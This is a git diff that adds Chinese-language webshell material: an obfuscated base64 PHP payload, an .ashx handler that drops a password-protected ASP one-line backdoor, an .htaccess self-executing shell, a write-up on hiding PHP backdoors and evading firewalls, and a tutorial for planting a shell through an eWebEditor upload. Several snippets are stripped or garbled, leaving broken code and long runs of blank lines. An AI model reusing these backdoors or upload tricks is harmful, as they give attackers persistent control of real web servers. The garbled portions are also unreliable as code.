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"))) +?> diff --git "a/skill/ashx\347\224\237\346\210\220asp\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.ashx" "b/skill/ashx\347\224\237\346\210\220asp\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.ashx" new file mode 100644 index 0000000..6d3394b --- /dev/null +++ "b/skill/ashx\347\224\237\346\210\220asp\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.ashx" @@ -0,0 +1,25 @@ +<%@ WebHandler Language="C#" class="Handler" %> + +using System; +using System.Web; +using System.IO; +public class Handler : IHttpHandler { + +public void ProcessRequest (HttpContext context) { +context.Response.ContentType = "text/plain"; + +StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp")); +file1.Write("<%response.clear:execute request(\"root\"):response.End%>"); +file1.Flush(); +file1.Close(); + +} + +public bool IsReusable { +get { +return false; +} +} + +} +//访问上传后的ashx文件,就会在同目录下生成一个root.asp的一句话木马,然后使用一句话木马客户端连接,密码:root diff --git "a/skill/htaccess\344\270\255\351\232\220\350\227\217\346\234\250\351\251\254.txt" "b/skill/htaccess\344\270\255\351\232\220\350\227\217\346\234\250\351\251\254.txt" new file mode 100644 index 0000000..a2d166d --- /dev/null +++ "b/skill/htaccess\344\270\255\351\232\220\350\227\217\346\234\250\351\251\254.txt" @@ -0,0 +1,10 @@ +不知道从哪看到的 在此和大家分享下 + +在htaccess中插入如下代码 + + Order allow,deny Allow from all AddType application/x-httpd-php .htaccess # + + +那么这个一句话木马的链接地址就是 + +http://github.com/.htaccess?cmd=ls diff --git "a/skill/\345\220\204\347\247\215PHP\344\270\200\345\217\245\350\257\235\351\232\220\350\227\217\345\220\216\351\227\250\347\232\204\350\256\250\350\256\272\346\200\273\347\273\223\344\270\216\345\210\206\346\236\220" "b/skill/\345\220\204\347\247\215PHP\344\270\200\345\217\245\350\257\235\351\232\220\350\227\217\345\220\216\351\227\250\347\232\204\350\256\250\350\256\272\346\200\273\347\273\223\344\270\216\345\210\206\346\236\220" new file mode 100644 index 0000000..7c5a0d2 --- /dev/null +++ "b/skill/\345\220\204\347\247\215PHP\344\270\200\345\217\245\350\257\235\351\232\220\350\227\217\345\220\216\351\227\250\347\232\204\350\256\250\350\256\272\346\200\273\347\273\223\344\270\216\345\210\206\346\236\220" @@ -0,0 +1,318 @@ +最近学习和搜集了不少的php一句话后门,发现真的是各种猥琐和奇葩,于是自己就做了一个简单的总结和分析,还是有点累,都一一测试过,希望和各位表哥们分享下,希望不足的地方表哥们也指出来,在这里感谢P神等大牛的参考文章又有就是要是有表哥觉得看着觉得不错,希望打赏点酒票,就算辛苦费吧 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1, $_REQUEST['pass'] => 2); +uksort($arr, $e); + +?> + + + + + + + + + + + + +php.ini后门,修改php.ini +[PHP] 纯文本查看 复制代码 +? +1 +auto_prepend_file ="C:\phpStudy\WWW\ma.txt" +创建任意格式文件,此处为ma.txt +[PHP] 纯文本查看 复制代码 +? +1 + + +此时任意文件均包含后门,访问test.php + + +Preg_replace +preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) + +/e 修正符使 preg_replace() 在从subject匹配到满足pattern的时,会把replacement当作 PHP 代码执行 php5.5之后就废弃了修正符 + + + + +404变型版 + + +404 Not Found + +

                            Not Found

                            +

                            The requested URL was not found on this server.

                            + + + +ROT13编码版 + + + +?> + +回调函数版 + + '|.*|e',); +array_walk_recursive($arr, $e, ''); +#array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。 + +?> + + + + + +.htaccess相关后门 +.htaccess叫分布式配置文件,它提供了针对目录改变配置的方法 +子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令 +Order allow,deny +allow from all +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +php_value auto_prepend_file .htaccess +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +#' +#添加xss后门,实际情况替换xss平台的xss链接 + + +php_flag zend.multibyte 1 +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +php_value zend.script_encoding "UTF-7" +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +php_value auto_append_file .htaccess +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+Ads +这个不知为何实测不成功 + + +user.ini文件后门,类似.htaccess +以fastcgi运行的php都可以用这个方法作为后门。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种: + + +.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。 +.user.ini文件 +[PHP] 纯文本查看 复制代码 +? +1 + $url, + CURLOPT_HEADER => FALSE, + CURLOPT_RETURNTRANSFER => TRUE, + CURLOPT_REFERER => $referer +); +//以数组的形式为一个curl设置会话参数 +curl_setopt_array($ch, $options); +//执行会话 +echo curl_exec($ch); + + + + + +?> + + + + + + + +利用PDO::FETCH_FUNC特性留后门 +fetch_argument的参数PDO::FETCH_FUNC可以回调一个函数,这个真心不太懂,还有很多利用方式,有兴趣的大家自己去看看 + + +query("SELECT '{$sql[faith]}'"); + $result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg')); +} + + + + + +?> + + +ob_start后门 + +bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) + +当php执行echo,print的时候数据流经顺序:echo-> php buffer -> tcp buffer -> browser + +给ob_start参数传入一个字符串作为回调函数,回调函数在缓冲区被ob_flush()或者相似的函数影响时,或者在请求结束之际输出缓冲区内容被冲刷到浏览器时调用,而输出缓冲区的内容作为回调函数的参数, 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器 + + + + + + + +?> + + + +最后的一点总结:最后再次感谢P神等大牛的参考文章!怎么说的,这些一句话类型还算比较全,但是主要是通过eval,assert,preg_replace来进行代码执行,而隐蔽工作呢,我们则可以利用混淆,加密等方法,可以衍生出各个版本。还有就是waf吧,其实我们只要利用一些猥琐的回调函数来使用命令执行函数,就可以绕过一些waf,不过听表哥说最终调用compile_string函数被锁定了,好像能动态拦截,不真是真是假希望大家看了之后能够举一反三,对代码审计和维持访问也有不小的帮助,有不足的也欢迎补充,写这个还是有点累,希望满意的表哥赏点酒票,谢谢 diff --git "a/skill/\345\234\250\345\275\223\345\211\215\347\233\256\345\275\225\347\224\237\346\210\220\344\270\200\344\270\252asp\347\232\204\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.txt" "b/skill/\345\234\250\345\275\223\345\211\215\347\233\256\345\275\225\347\224\237\346\210\220\344\270\200\344\270\252asp\347\232\204\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.txt" new file mode 100644 index 0000000..1e55f78 --- /dev/null +++ "b/skill/\345\234\250\345\275\223\345\211\215\347\233\256\345\275\225\347\224\237\346\210\220\344\270\200\344\270\252asp\347\232\204\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.txt" @@ -0,0 +1,40 @@ +这里我们还可以添加一个ashx 脚本类型。用ashx来写一个asp的一句话到当前目录。 + +代码如下。 + +<%@ WebHandler Language="C#" Class="Handler" %> + +using System; +using System.Web; +using System.IO; +public class Handler : IHttpHandler { + + public void ProcessRequest (HttpContext context) { + context.Response.ContentType = "text/plain"; + + StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp")); + file1.Write("<%response.clear:execute request(\"root\"):response.End%>"); + file1.Flush(); + file1.Close(); + + } + + public bool IsReusable { + get { + return false; + } + } + +} + +保存为 ashx ,现在来添加一个 ashx 上传类型看看. + +上传成功,直接访问 + +http://www..xxxxx.com/ admin/eWebEditor/UploadFile/201082143554545.ashx 就会在当前目录生成一个 + +root.asp的一句话木马。 + +看上传文件里,root.asp 已经躺在那边了,用lake2的 一句话连接,看见亲切的hello word ! 搞定手工了。 + +有时候 网站过滤了常见的脚本类型却把 ashx给漏了,大家可以试试 ,菜鸟文章大牛见笑了。。 diff --git "a/skill/\345\256\214\346\225\264\344\270\200\345\245\227\347\275\221\351\241\265\346\214\202\351\251\254\344\273\243\347\240\201.txt" 